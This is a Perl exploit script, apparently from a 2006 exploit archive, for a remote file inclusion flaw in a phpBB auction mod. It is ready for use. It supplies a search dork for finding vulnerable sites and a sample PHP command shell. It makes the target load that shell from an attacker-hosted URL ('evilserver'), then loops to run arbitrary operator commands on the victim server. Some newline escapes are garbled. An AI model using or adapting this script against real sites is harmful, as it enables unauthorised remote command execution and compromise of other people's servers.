#!/usr/bin/perl
##
#phpBB auction mod - Remote File Inclusion Vuln
# Bug discovered by VietMafia
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
# dork: intext:"phpbb - auction" inurl:"auction"
# usage:
# perl wb1.pl <target> <cmd shell location> <cmd shell variable>
# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()}

head();

while()
{
      print "[shell] $";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "nCould Not connectn"; 


$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[n]/[ê]/;

if (!$cmd) {print "nPlease Enter a Commandnn"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit}
elsif ($return =~/^<br./>.<b>Fatal.error/) {print "nInvalid Command or No Returnnn"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[n]/;
      print "rn$finreturnnr";
      last;
}

else {print "[shell] $";}}}last;

sub head()
 {
 print "n============================================================================rn";
 print "  phpBB auction mod - Remote File Inclusion Vulnrn";
 print "============================================================================rn";
 }
sub usage()
 {
 head();
 print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>rnn";
 print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ rn";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif rn";
 print " <cmd variable> - Command variable used in php shell rn";
 print "============================================================================rn";
 print "                          webDEViL w3bd3vil[at]gmail.com rn";
 print "============================================================================rn";
 exit();
 }

# www.Syue.com [2006-05-04]